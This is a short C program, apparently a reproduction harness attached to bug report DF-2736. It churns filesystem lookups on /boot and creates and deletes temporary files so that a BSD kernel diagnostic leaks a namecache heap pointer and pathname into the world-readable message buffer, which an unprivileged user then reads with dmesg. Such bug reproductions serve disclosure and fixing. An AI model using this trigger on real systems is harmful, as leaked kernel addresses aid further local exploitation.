DF-2736 / ncp_churn.c
/* * DF-2736: vop_compat_* fallback prints "[diagnostic] EAGAIN on ncp %p %s" * (vfs_default.c:200) leaking a kernel namecache heap pointer + pathname * into the world-readable msgbuf (security.unprivileged_read_msgbuf=1). * Churn lookups on a UFS mount (/boot uses vop_compat_nresolve as UFS has * no native nresolve) while pressing the vnode cache, then read dmesg * AS AN UNPRIVILEGED USER and grep for the diagnostic line. */ #include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <dirent.h> #include <fcntl.h> int main(int argc, char **argv) { const char *dir = argc > 1 ? argv[1] : "/boot"; int secs = argc > 2 ? atoi(argv[2]) : 60; int nproc = argc > 3 ? atoi(argv[3]) : 4; setvbuf(stderr, NULL, _IONBF, 0); fprintf(stderr, "[*] churning lookups on %s for %ds x %d procs\n", dir, secs, nproc); for (int i = 1; i < nproc; i++) { pid_t p = fork(); if (p == 0) break; } /* churn: open/stat every entry repeatedly, plus create/delete * churn in /tmp (vnode cache pressure) */ time_t t0 = time(NULL); long iters = 0; char path[1024]; while (time(NULL) - t0 < secs) { DIR *d = opendir(dir); if (d) { struct dirent *de; while ((de = readdir(d)) != NULL) { struct stat st; snprintf(path, sizeof(path), "%s/%s", dir, de->d_name); if (lstat(path, &st) == 0) { int fd = open(path, O_RDONLY); if (fd >= 0) close(fd); } iters++; } closedir(d); } /* vnode cache pressure: create+delete files in /tmp */ for (int k = 0; k < 8; k++) { snprintf(path, sizeof(path), "/tmp/.churn%ld.%d", (long)getpid(), k); int fd = open(path, O_CREAT | O_RDWR, 0600); if (fd >= 0) { write(fd, "x", 1); close(fd); unlink(path); } } } fprintf(stderr, "[*] pid %d did %ld lookups\n", getpid(), iters); return 0; } |